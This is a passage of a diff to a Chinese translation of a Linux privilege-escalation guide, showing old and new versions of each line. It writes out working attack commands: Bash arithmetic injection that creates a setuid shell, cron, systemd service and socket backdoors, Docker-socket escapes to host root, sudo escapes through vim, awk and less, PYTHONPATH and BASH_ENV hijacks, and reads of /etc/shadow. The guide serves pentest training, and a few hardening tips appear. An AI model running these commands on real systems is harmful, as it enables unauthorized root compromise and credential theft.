root 身份执行。 +Bash 在 ((...)), $((...)) 和 let 中进行算术求值之前会执行 parameter expansion 和 command substitution。如果 root cron/parser 读取不受信任的日志字段并将其传入算术上下文，攻击者可以注入一个 command substitution $(...)，当 cron 运行时以 root 身份执行。 -- 为什么它有效：在 Bash 中，expansions 的执行顺序为：parameter/variable expansion、command substitution、arithmetic expansion，然后是 word splitting 和 pathname expansion。所以像 `$(/bin/bash -c 'id > /tmp/pwn')0` 这样的值会先被替换（运行命令），然后剩余的数字 `0` 用于算术运算，使脚本继续而不出错。 +- Why it works: 在 Bash 中，expansions 按如下顺序发生：parameter/variable expansion、command substitution、arithmetic expansion，然后是 word splitting 和 pathname expansion。所以像 `$(/bin/bash -c 'id > /tmp/pwn')0` 这样的值会先被替换（运行该命令），之后剩下的数字 `0` 会用于算术运算，从而使脚本继续而不会报错。 -- 典型易受攻击模式: +- 典型的易受攻击的模式： ```bash #!/bin/bash # Example: parse a log and "sum" a count field coming from the log @@ -367,7 +366,7 @@ while IFS=',' read -r ts user count rest; do done < /var/www/app/log/application.log ``` -- 利用方法：让受攻击者控制的文本被写入被解析的日志，使看起来像数字的字段包含一个 command substitution 并以数字结尾。确保你的命令不向 stdout 输出（或将其重定向），以保持算术有效。 +- Exploitation: 让攻击者控制的文本写入被解析的日志，使看起来像数字的字段包含 command substitution 并以数字结尾。确保你的命令不要向 stdout 输出（或将其重定向），以便算术表达式保持有效。 ```bash # Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim): $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 @@ -376,29 +375,29 @@ $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 ### Cron script overwriting and symlink -如果你 **可以修改一个由 root 执行的 cron script**，你可以很容易获得一个 shell： +如果你 **可以修改 cron script**（由 root 执行），可以非常容易地获得一个 shell： ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -如果被 root 执行的 script 使用了一个你拥有 **directory where you have full access**，那么删除该 directory 并 **create a symlink folder to another one**（指向由你控制并提供 script 的目录）可能会很有用。 +如果由 root 执行的脚本使用一个 **你拥有完全访问权限的目录**，那么删除该目录并 **创建一个指向另一个由你控制并提供脚本的 symlink 目录** 可能会很有用。 ```bash ln -d -s ``` ### 频繁的 cron jobs -你可以监控进程以查找每隔 1、2 或 5 分钟被执行的进程。也许你可以利用它来提权。 +你可以监视进程，查找每隔 1、2 或 5 分钟执行的进程。也许你可以利用它并 escalate privileges。 -例如，要 **以每 0.1 秒监控 1 分钟**、**按执行次数较少排序命令** 并删除执行次数最多的命令，你可以做： +例如，要 **在 1 分钟内每 0.1s 监控**、**按执行次数最少排序** 并删除被执行次数最多的命令，你可以做： ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` -**你也可以使用** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (它将监视并列出每个启动的进程)。 +**你也可以使用** [**pspy**](https://github.com/DominicBreuker/pspy/releases)（它会监视并列出每个启动的进程）。 ### 隐形 cron jobs -可以创建一个 cronjob，**在注释后插入回车字符**（不包含换行符），并且该 cron job 会生效。示例（注意回车字符）： +可以创建一个 cronjob，通过**在注释后放置回车符**（没有换行字符），使该 cron job 生效。示例（注意回车字符）： ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` @@ -406,87 +405,87 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do ### 可写的 _.service_ 文件 -检查是否可以写入任何 `.service` 文件，如果可以，你**可以修改它**，以便它**执行**你的**backdoor 当**服务**启动**、**重启**或**停止**时（可能需要等到机器重启）。\ -例如在 .service 文件中创建你的 backdoor，使用 **`ExecStart=/tmp/script.sh`** +检查是否可以写入任何 `.service` 文件。如果可以，你**可以修改它**，使其在服务**启动**、**重启**或**停止**时**执行**你的**backdoor**（可能需要等到机器重启）。 +例如，在 `.service` 文件中创建你的 backdoor，使用 **`ExecStart=/tmp/script.sh`** ### 可写的服务二进制文件 -请记住，如果你**对正在被 services 执行的 binaries 拥有写权限**，你可以把它们改成 backdoors，这样当 services 被重新执行时，backdoors 就会被执行。 +请记住，如果你对由服务执行的二进制文件具有**写权限**，你可以将它们更改为 backdoors，这样当服务被重新执行时，backdoors 就会被执行。 ### systemd PATH - 相对路径 -你可以使用以下命令查看 **systemd** 使用的 PATH： +你可以通过以下方式查看 **systemd** 使用的 PATH： ```bash systemctl show-environment ``` -如果你发现自己可以在路径的任一文件夹中**写入**，那么你可能能够**提升权限**。你需要搜索**在服务配置文件中使用的相对路径**，例如： +如果你发现可以在该路径的任一文件夹中**write**，你可能能够**escalate privileges**。你需要搜索在服务配置文件中使用的**相对路径**，例如： ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -然后，在你可写的 systemd PATH 文件夹中，创建一个与相对路径 binary 同名的 **可执行文件**，当服务被要求执行易受攻击的操作（**Start**, **Stop**, **Reload**）时，你的 **backdoor 将被执行**（非特权用户通常不能 start/stop services，但检查是否可以使用 `sudo -l`）。 +然后，在你可写入的 systemd PATH folder 中创建一个与相对路径二进制文件同名的 **executable**，当服务被要求执行易受攻击的操作（**Start**、**Stop**、**Reload**）时，你的 **backdoor** 将被执行（非特权用户通常无法 start/stop services，但检查是否可以使用 `sudo -l`）。 -**关于 services 的更多信息，请参阅 `man systemd.service`.** +**Learn more about services with `man systemd.service`.** -## **Timers（计时器）** +## **Timers** -Timers 是 systemd 单元文件，其名称以 **.timer** 结尾，用于控制 **.service** 文件或事件。Timers 可用作 cron 的替代方案，因为它们对日历时间事件和单调时间事件具有内置支持，并且可以异步运行。 +Timers 是 systemd 的 unit 文件，名称以 `**.timer**` 结尾，用于控制 `**.service**` 文件或事件。Timers 可以作为 cron 的替代，因为它们内建对日历时间事件 (calendar time events) 和单调时间事件 (monotonic time events) 的支持，并且可以异步运行。 -你可以使用以下命令枚举所有的计时器： +You can enumerate all the timers with: ```bash systemctl list-timers --all ``` -### 可写计时器 +### 可写的 timer -如果你可以修改一个 timer，你可以让它执行 systemd.unit 的某些现有单元（比如 `.service` 或 `.target`） +如果你可以修改一个 timer，你可以让它执行一些 systemd.unit 的现有项（比如 `.service` 或 `.target`） ```bash Unit=backdoor.service ``` -In the documentation you can read what the Unit is: +在文档中可以看到 Unit 是什么： -> 在计时器到期时要激活的 unit。参数是一个 unit 名称，其后缀不是 ".timer"。如果未指定，此值默认为与 timer unit 同名但后缀不同的 service。（见上文。）建议被激活的 unit 名称与 timer unit 的名称除了后缀外应相同。 +> 在该 timer 到期时要激活的 unit。参数是一个 unit name，其后缀不是 ".timer"。如果未指定，该值默认为一个 service，其名称与 timer unit 相同，但后缀不同。（见上文。）建议被激活的 unit name 与 timer unit 的 unit name 除后缀外保持一致。 -Therefore, to abuse this permission you would need to: +因此，要滥用此权限，你需要： -- 找到某个 systemd unit（例如 `.service`），它正在 **执行一个可写的二进制文件** -- 找到某个 systemd unit 正在 **执行相对路径**，且你对 **systemd PATH** 拥有 **写权限**（以冒充该可执行文件） +- 找到某个 systemd unit（例如 `.service`），它正在 **执行一个可写的 binary** +- 找到某个 systemd unit，它正在 **执行一个相对路径**，并且你对 **systemd PATH** 拥有 **writable privileges**（以冒充该可执行文件） -**Learn more about timers with `man systemd.timer`.** +**使用 `man systemd.timer` 了解有关 timers 的更多信息。** -### **启用计时器** +### **启用 Timer** -要启用计时器，你需要 root 权限并执行： +要启用 timer，你需要 root 权限并执行： ```bash sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. ``` -注意 **timer** 是通过在 `/etc/systemd/system/.wants/.timer` 上创建指向它的符号链接来**激活**的。 +注意，**timer** 是通过在 `/etc/systemd/system/.wants/.timer` 上创建一个符号链接来**激活**的。 -## Sockets +## 套接字 -Unix Domain Sockets (UDS) 在客户端-服务器模型中允许在同一台或不同机器之间进行**进程通信**。它们使用标准的 Unix 描述符文件进行主机间通信，并通过 `.socket` 文件进行配置。 +Unix Domain Sockets (UDS) 在客户端-服务器模型中允许在同一台或不同机器上进行**进程间通信**。它们使用标准 Unix 描述符文件进行主机间通信，并通过 `.socket` 文件进行配置。 -Sockets 可以使用 `.socket` 文件进行配置。 +套接字可以使用 `.socket` 文件进行配置。 -**Learn more about sockets with `man systemd.socket`.** 在该文件中，可以配置若干有趣的参数： +**使用 `man systemd.socket` 了解更多关于套接字的信息。** 在此文件中，可以配置多个有趣的参数： -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: 这些选项各不相同，但总体上用于**指示将在哪监听**该 socket（AF_UNIX 套接字文件的路径、要监听的 IPv4/6 和/或端口号等）。 -- `Accept`: 接受一个布尔参数。如果为 **true**，则会为每个传入连接**生成一个 service 实例**，并且只将连接的 socket 传递给它。如果为 **false**，则所有监听 sockets 本身会**被传递给启动的 service 单元**，并且只为所有连接生成一个 service 单元。对于 datagram sockets 和 FIFOs，该值被忽略，因为单个 service 单元无条件处理所有传入流量。**默认值为 false**。出于性能考虑，建议新守护进程以适配 `Accept=no` 的方式编写。 -- `ExecStartPre`, `ExecStartPost`: 接受一个或多个命令行，分别在监听的 **sockets**/FIFOs 被**创建**并绑定之前或之后**执行**。命令行的第一个标记必须是一个绝对文件名，随后是该进程的参数。 -- `ExecStopPre`, `ExecStopPost`: 额外的**命令**，分别在监听的 **sockets**/FIFOs 被**关闭**并移除之前或之后**执行**。 -- `Service`: 指定在有**传入流量**时要**激活**的 **service** 单元名称。此设置仅允许用于 Accept=no 的 socket。默认是与 socket 同名的 service（后缀被替换）。在大多数情况下，通常不需要使用此选项。 +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: 这些选项各不相同，但总体上用于**指示将在哪里监听**该套接字（AF_UNIX 套接字文件的路径、要监听的 IPv4/6 和/或端口号等）。 +- `Accept`: 接受一个 boolean 参数。如果 **true**，则会为每个传入连接生成一个**service 实例**，并且仅将连接套接字传递给它。如果 **false**，所有监听套接字本身将**传递给启动的 service 单元**，并且只为所有连接生成一个 service 单元。对于 datagram 套接字和 FIFOs，此值被忽略，在那里单个 service 单元无条件处理所有传入流量。**默认值为 false**。出于性能原因，建议在编写新的 daemon 时以适合 `Accept=no` 的方式编写。 +- `ExecStartPre`, `ExecStartPost`: 接受一个或多个命令行，在监听的 **套接字**/FIFOs 分别被**创建**并绑定之前或之后**执行**。命令行的第一个词元必须是绝对文件名，随后是进程的参数。 +- `ExecStopPre`, `ExecStopPost`: 额外的**命令**，在监听的 **套接字**/FIFOs 分别被**关闭**并移除之前或之后**执行**。 +- `Service`: 指定在**传入流量**时要**激活**的 **service** 单元名称。此设置仅允许用于 Accept=no 的套接字。默认使用与套接字同名（替换后缀）的 service。在大多数情况下，不需要使用此选项。 ### 可写的 .socket 文件 -如果你发现一个**可写的** `.socket` 文件，你可以在 `[Socket]` 部分开头添加类似 `ExecStartPre=/home/kali/sys/backdoor` 的内容，backdoor 会在 socket 被创建之前执行。因此，你**可能需要等到机器重启。**\ -_注意，系统必须正在使用该 socket 文件配置，否则 backdoor 不会被执行_ +如果你发现一个**可写**的 `.socket` 文件，你可以在 `[Socket]` 部分的开头**添加**类似 `ExecStartPre=/home/kali/sys/backdoor` 的内容，backdoor 将在套接字被创建之前执行。因此，你**可能需要等待机器重启。**\ +_Note that the system must be using that socket file configuration or the backdoor won't be executed_ -### 可写的 sockets +### 可写的套接字 -如果你**识别到任何可写的 socket**（_这里指的是 Unix Sockets，而不是配置的 `.socket` 文件_），那么**你可以与该 socket 进行通信**，并可能利用其中的漏洞。 +如果你**发现任何可写的套接字**（_这里我们指的是 Unix Sockets，而不是配置的 `.socket` 文件_），那么**你可以与该套接字进行通信**，并可能利用其中的漏洞。 -### 枚举 Unix Sockets +### 枚举 Unix 套接字 ```bash netstat -a -p --unix ``` @@ -508,48 +507,48 @@ socket-command-injection.md ### HTTP sockets -注意可能存在一些 **sockets listening for HTTP** 请求 (_我不是在说 .socket files，而是那些充当 unix sockets 的文件_)。你可以用以下命令检查： +注意，可能存在一些用于监听 HTTP 请求的 sockets（_我不是指 .socket 文件，而是作为 unix sockets 的文件_）。你可以用下面的命令检查： ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` -If the socket **对 HTTP 请求有响应**，那么你可以与它 **通信**，并可能 **exploit some vulnerability**。 +如果该 socket **对 HTTP 请求有响应**，那么你可以**与其通信**，并且可能**利用某些漏洞**。 -### 可写 Docker Socket +### 可写的 Docker Socket -Docker socket，通常位于 `/var/run/docker.sock`，是一个需要加固的关键文件。默认情况下，它对 `root` 用户和 `docker` 组的成员是可写的。对该 socket 拥有写权限可能导致 privilege escalation。下面是该操作的分解说明，以及当 Docker CLI 不可用时的替代方法。 +Docker socket，通常位于 `/var/run/docker.sock`，是一个需要保护的重要文件。默认情况下，它对 `root` 用户和 `docker` 组的成员可写。拥有对该 socket 的写权限可能导致权限提升。下面是如何实现以及在无法使用 Docker CLI 时的替代方法的分解说明。 #### **Privilege Escalation with Docker CLI** -如果你对 Docker socket 有写权限，你可以使用以下命令来 escalate privileges： +如果你对 Docker socket 拥有写权限，你可以使用以下命令提升权限： ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` -这些命令允许你运行一个容器，从而以 root 权限访问主机的文件系统。 +这些命令允许你运行一个容器，从而以 root 权限访问宿主机文件系统。 -#### **直接使用 Docker API** +#### **Using Docker API Directly** -当 Docker CLI 不可用时，仍然可以使用 Docker API 和 `curl` 命令操作 Docker socket。 +在 Docker CLI 不可用的情况下，仍可以使用 Docker API 和 `curl` 命令操作 Docker socket。 -1. **列出 Docker 镜像：** 获取可用镜像列表。 +1. **List Docker Images:** 检索可用镜像列表。 ```bash curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json ``` -2. **创建容器：** 发送请求以创建一个将主机根目录挂载进去的容器。 +2. **Create a Container:** 发送请求创建一个挂载宿主机根目录的容器。 ```bash curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create ``` -启动新创建的容器： +Start the newly created container: ```bash curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start ``` -3. **Attach to the Container：** 使用 `socat` 建立与容器的连接，从而在容器内执行命令。 +3. **Attach to the Container:** 使用 `socat` 建立与容器的连接，从而可以在其中执行命令。 ```bash socat - UNIX-CONNECT:/var/run/docker.sock @@ -559,31 +558,31 @@ Connection: Upgrade Upgrade: tcp ``` -在建立 `socat` 连接后，你可以在容器中直接执行命令，并以 root 权限访问主机的文件系统。 +在建立 `socat` 连接后，你可以直接在容器内执行命令，并以 root 级别访问宿主机的文件系统。 ### Others -注意，如果你对 docker socket 有写权限，因为你是 **inside the group `docker`**，你有 [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group)。如果 [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising)。 +注意，如果你对 docker socket 有写权限，因为你位于组 `docker` 内，你将有[**更多提权方式**](interesting-groups-linux-pe/index.html#docker-group)。如果[**docker API 在端口监听**，你也可能能够攻破它](../../network-services-pentesting/2375-pentesting-docker.md#compromising)。 -查看 **更多从 docker 逃逸或滥用它以提升权限的方法** 在： +在以下位置查看**更多从 docker 逃逸或滥用以提权的方法**： {{#ref}} docker-security/ {{#endref}} -## Containerd (ctr) privilege escalation +## Containerd (ctr) 提权 -如果你发现你可以使用 **`ctr`** 命令，请阅读以下页面，因为 **你可能能够滥用它以提升权限**： +如果你发现可以使用 **`ctr`** 命令，请阅读以下页面，**因为你可能能够滥用它来提权**： {{#ref}} containerd-ctr-privilege-escalation.md {{#endref}} -## **RunC** privilege escalation +## **RunC** 提权 -如果你发现你可以使用 **`runc`** 命令，请阅读以下页面，因为 **你可能能够滥用它以提升权限**： +如果你发现可以使用 **`runc`** 命令，请阅读以下页面，**因为你可能能够滥用它来提权**： {{#ref}} @@ -592,15 +591,15 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus 是一个复杂的 **inter-Process Communication (IPC) 系统**，使应用程序能够高效地交互并共享数据。它为现代 Linux 系统而设计，提供了用于各种应用间通信的强大框架。 +D-Bus 是一个复杂的进程间通信 (IPC) 系统，允许应用程序高效地交互和共享数据。它为现代 Linux 系统设计，提供了一个用于不同形式应用间通信的稳健框架。 -该系统功能多样，支持基本的 IPC，增强进程间的数据交换，类似于 **增强的 UNIX domain sockets**。此外，它有助于广播事件或信号，促进系统组件之间的无缝集成。例如，Bluetooth 守护进程关于来电的信号可以促使音乐播放器静音，从而改善用户体验。此外，D-Bus 支持远程对象系统，简化应用之间的服务请求和方法调用，使传统上复杂的流程变得更简便。 +该系统功能多样，支持增强进程间数据交换的基本 IPC，类似于增强版的 UNIX 域套接字。此外，它有助于广播事件或信号，促进系统组件之间的无缝集成。例如，Bluetooth 守护进程关于来电的信号可以促使音乐播放器静音，以改善用户体验。另一个方面，D-Bus 支持远程对象系统，简化了应用程序之间的服务请求和方法调用，优化了传统上较为复杂的流程。 -D-Bus 使用 **allow/deny 模型**（允许/拒绝模型）运行，根据匹配策略规则的累积效果来管理消息权限（方法调用、信号发送等）。这些策略规定了与 bus 的交互，可能通过利用这些权限实现权限提升。 +D-Bus 基于允许/拒绝模型运行，基于匹配策略规则的累积效果来管理消息权限（方法调用、信号发射等）。这些策略指定了与总线的交互，可能通过滥用这些权限导致提权。 -在 `/etc/dbus-1/system.d/wpa_supplicant.conf` 中给出了这样一个策略示例，详细说明了 root 用户对 `fi.w1.wpa_supplicant1` 的拥有、发送和接收消息的权限。 +在 /etc/dbus-1/system.d/wpa_supplicant.conf 中提供了这样的策略示例，详细说明了 root 用户拥有、发送给和接收来自 `fi.w1.wpa_supplicant1` 的消息的权限。 -没有指定用户或组的策略适用于所有用户，而“default”上下文策略适用于未被其他具体策略覆盖的所有实体。 +未指定用户或组的策略普遍适用，而“default”上下文策略适用于所有未被其他特定策略覆盖的情况。 ```xml @@ -609,7 +608,7 @@ D-Bus 使用 **allow/deny 模型**（允许/拒绝模型）运行，根据匹配 ``` -**在此了解如何 enumerate and exploit D-Bus communication:** +**在这里学习如何对 D-Bus 通信进行 enumerate 和 exploit：** {{#ref}} @@ -618,9 +617,9 @@ d-bus-enumeration-and-command-injection-privilege-escalation.md ## **网络** -对网络进行 enumerate 并确定机器的位置通常很有帮助。 +通常值得对网络进行 enumerate 并弄清主机的位置。 -### Generic enumeration +### 通用 enumeration ```bash #Hostname, hosts and DNS cat /etc/hostname /etc/hosts /etc/resolv.conf @@ -645,14 +644,14 @@ lsof -i ``` ### 开放端口 -始终检查在你访问该机器之前无法与之交互的正在运行的网络服务： +在访问机器之前，始终检查在该机器上运行但你之前无法与之交互的网络服务： ```bash (netstat -punta || ss --ntpu) (netstat -punta || ss --ntpu) | grep "127.0" ``` ### Sniffing -检查是否可以 sniff traffic。 如果可以，你可能能够抓取一些 credentials。 +检查是否能 sniff traffic。 如果可以，你可能能够获取一些 credentials。 ``` timeout 1 tcpdump ``` @@ -660,7 +659,7 @@ timeout 1 tcpdump ### 通用枚举 -检查 **你是谁**、你拥有哪些 **权限**、系统中有哪些 **用户**、哪些可以 **登录** 以及哪些拥有 **root 权限**： +检查你是 **who**，你拥有哪些 **privileges**，系统中有哪些 **users**，哪些可以 **login**，以及哪些拥有 **root privileges**： ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -682,21 +681,21 @@ for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | so #Current user PGP keys gpg --list-keys 2>/dev/null ``` -### 大 UID +### Big UID -一些 Linux 版本受一个漏洞影响，允许具有 **UID > INT_MAX** 的用户提升权限。更多信息： [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ -**利用方法**: **`systemd-run -t /bin/bash`** +某些 Linux 版本受到一个漏洞影响，允许具有 **UID > INT_MAX** 的用户提权。More info: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ +**利用它** 使用： **`systemd-run -t /bin/bash`** -### 组 +### Groups -检查你是否是 **某个组的成员**，该组可能授予你 root 权限： +检查你是否是可能授予你 root 权限的**某个组的成员**： {{#ref}} interesting-groups-linux-pe/ {{#endref}} -### 剪贴板 +### Clipboard 检查剪贴板中是否有任何有趣的内容（如果可能） ```bash @@ -715,27 +714,27 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi ``` ### 已知密码 -如果你**知道环境中的任何密码**，**尝试使用该密码登录每个用户**。 +如果你 **知道环境中任何密码**，请 **尝试使用该密码登录每个用户**。 ### Su Brute -如果不介意产生大量噪音，且目标主机上存在 `su` 和 `timeout` 二进制文件，你可以使用 [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ +如果你不介意产生大量噪音并且系统上存在 `su` 和 `timeout` 二进制文件，你可以尝试使用 [su-bruteforce](https://github.com/carlospolop/su-bruteforce)。\ [**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) 使用 `-a` 参数也会尝试对用户进行暴力破解。 -## 可写 PATH 滥用 +## 可写的 $PATH 滥用 ### $PATH -如果你发现可以**写入 $PATH 的某个文件夹内**，你可能能够通过在该可写文件夹中**创建一个后门**来提升权限，后门的名称应为某个将由不同用户（理想情况下为 root）执行的命令，并且该命令**不会从位于你可写文件夹之前的文件夹加载**。 +如果你发现你可以 **在 $PATH 的某个文件夹中写入**，你可能能够通过 **在可写文件夹中创建 backdoor**，并将其命名为某个将由其他用户（理想情况下为 root）执行的命令，从而提升权限，前提是该命令**不会从位于你的可写文件夹之前的文件夹加载**。 ### SUDO and SUID -你可能被允许使用 sudo 执行某些命令，或者它们可能有 suid 位。使用以下命令检查： +你可能被允许使用 sudo 执行某些命令，或者某些命令可能设置了 suid 位。使用以下命令检查： ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries ``` -有些 **意想不到的命令允许你读取和/或写入文件，甚至执行命令。** 例如： +一些 **意想不到的 commands 允许你读取和/或写入 files 或甚至执行命令。** 例如： ```bash sudo awk 'BEGIN {system("/bin/sh")}' sudo find /etc -exec sh -i \; @@ -746,13 +745,13 @@ less>! ``` ### NOPASSWD -Sudo 配置可能允许用户在不知道密码的情况下以另一个用户的权限执行某些命令。 +Sudo 配置可能允许用户在不知晓密码的情况下，以另一个用户的权限执行某些命令。 ``` $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -在这个示例中，用户 `demo` 可以以 `root` 身份运行 `vim`，现在通过将 ssh 密钥添加到 root 目录或调用 `sh` 来获取 shell 变得很容易。 +在这个例子中，用户 `demo` 可以以 `root` 身份运行 `vim`，现在通过将 ssh key 添加到 root 目录或调用 `sh` 来获得 shell 非常简单。 ``` sudo vim -c '!sh' ``` @@ -764,19 +763,19 @@ $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -此示例，**based on HTB machine Admirer**，**易受攻击**于 **PYTHONPATH hijacking**，可以在以 root 身份执行脚本时加载任意 python 库： +这个示例，**基于 HTB machine Admirer**，**存在漏洞**，可通过 **PYTHONPATH hijacking** 在以 root 身份执行脚本时加载任意 python library： ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` ### BASH_ENV preserved via sudo env_keep → root shell -如果 sudoers 保留了 `BASH_ENV`（例如 `Defaults env_keep+="ENV BASH_ENV"`），你可以利用 Bash 的非交互启动行为，在调用被允许的命令时以 root 身份运行任意代码。 +如果 sudoers 保留了 `BASH_ENV`（例如 `Defaults env_keep+="ENV BASH_ENV"`），你可以利用 Bash 的非交互式启动行为，在调用被允许的命令时以 root 身份运行任意代码。 -- Why it works: 对于非交互式 shell，Bash 会评估 `$BASH_ENV` 并在运行目标脚本前 source 该文件。许多 sudo 规则允许运行脚本或 shell 包装器。如果 `BASH_ENV` 被 sudo 保留，你的文件会以 root 权限被 source。 +- Why it works: 对于非交互式 shell，Bash 会在运行目标脚本之前评估 `$BASH_ENV` 并加载执行该文件。许多 sudo 规则允许运行脚本或 shell 包装器。如果 sudo 保留了 `BASH_ENV`，你的文件就会以 root 权限被执行。 - Requirements: -- 一个你能运行的 sudo 规则（任何以非交互方式调用 `/bin/bash` 的目标，或任何 bash 脚本）。 -- `BASH_ENV` 存在于 `env_keep`（可用 `sudo -l` 检查）。 +- 一个你可以运行的 sudo 规则（任何以非交互方式调用 `/bin/bash` 的目标，或任何 bash 脚本）。 +- `BASH_ENV` 出现在 `env_keep` 中（可用 `sudo -l` 检查）。 - PoC: ```bash @@ -788,14 +787,14 @@ chmod +x /dev/shm/shell.sh BASH_ENV=/dev/shm/shell.sh sudo /usr/bin/systeminfo # or any permitted script/binary that triggers bash # You should now have a root shell ``` -- 加固: -- 删除 `BASH_ENV`（和 `ENV`）从 `env_keep`，优先使用 `env_reset`。 -- 避免为 sudo 允许的命令使用 shell wrappers；使用尽量精简的二进制文件。 -- 考虑在保留的 env vars 被使用时对 sudo 的 I/O 进行日志记录和告警。 +- 加固： +- 从 `env_keep` 中移除 `BASH_ENV`（和 `ENV`），优先使用 `env_reset`。 +- 避免为允许 `sudo` 的命令使用 shell 包装器；尽量使用最小化的二进制文件。 +- 当保留的环境变量被使用时，考虑对 `sudo` 的 I/O 进行日志记录与告警。 -### Sudo execution bypassing paths +### Sudo 执行绕过路径 -**跳转** 以读取其他文件或使用 **symlinks**。例如在 sudoers 文件中: _hacker10 ALL= (root) /bin/less /var/log/\*_ +**Jump** 跳转以阅读其他文件或使用 **symlinks**。例如在 sudoers 文件中： _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -805,46 +804,46 @@ less>:e /etc/shadow #Jump to read other files using privileged less ln /etc/shadow /var/log/new sudo less /var/log/new #Use symlinks to read any file ``` -如果使用 **wildcard** (\*)，就更简单了： +如果使用 **wildcard** (\*)，就更容易： ```bash sudo less /var/log/../../etc/shadow #Read shadow sudo less /var/log/something /etc/shadow #Red 2 files ``` **缓解措施**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) -### Sudo 命令/SUID 二进制文件 未指定命令路径 +### Sudo command/SUID binary 未指定命令路径 -如果将 **sudo 权限** 授予单个命令 **未指定路径**：_hacker10 ALL= (root) less_，你可以通过更改 PATH 变量来利用它。 +如果将 **sudo 权限** 授予单个命令且 **未指定路径**： _hacker10 ALL= (root) less_，你可以通过更改 PATH 变量来利用它 ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -该技术也可用于当一个 **suid** 二进制 **在执行另一个命令时没有指定其路径（务必使用** _**strings**_ **检查可疑 SUID 二进制的内容）**。 +此技术也可用于当一个 **suid** binary **在不指定路径的情况下执行另一个命令（始终使用** _**strings**_ **检查可疑的 SUID binary 的内容）**。 [Payload examples to execute.](payloads-to-execute.md) -### SUID 二进制带命令路径 +### SUID binary 带命令路径 -如果 **suid** 二进制 **执行另一个命令并指定了路径**，那么你可以尝试**导出一个函数**，其名称与 suid 文件调用的命令相同。 +如果 **suid** binary **执行另一个指定了路径的命令**，则可以尝试 **导出一个函数**，其名称与 suid 文件所调用的命令相同。 -例如，如果一个 **suid** 二进制调用 _**/usr/sbin/service apache2 start**_，你需要尝试创建该函数并导出它： +例如，如果一个 suid binary 调用 _**/usr/sbin/service apache2 start**_，你需要尝试创建该函数并导出： ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service ``` -然后，当你调用该 suid 二进制文件时，该函数将被执行 +Then, when you call the suid binary, this function will be executed ### LD_PRELOAD & **LD_LIBRARY_PATH** -**LD_PRELOAD** 环境变量用于指定一个或多个共享库（.so 文件），这些库会被加载器在其他库之前加载，包括标准 C 库（`libc.so`）。这个过程称为预加载库。 +环境变量 **LD_PRELOAD** 用来指定一个或多个共享库（.so 文件），由加载器在其他库之前载入，包括标准 C 库（`libc.so`）。这个过程称为预加载库。 -但是，为了维护系统安全并防止该功能被滥用，特别是在 **suid/sgid** 可执行文件中，系统会强制执行某些条件： +但是，为了维护系统安全并防止此功能被滥用，尤其是在 **suid/sgid** 可执行文件上，系统施加了某些限制： -- 当可执行文件的真实用户 ID (_ruid_) 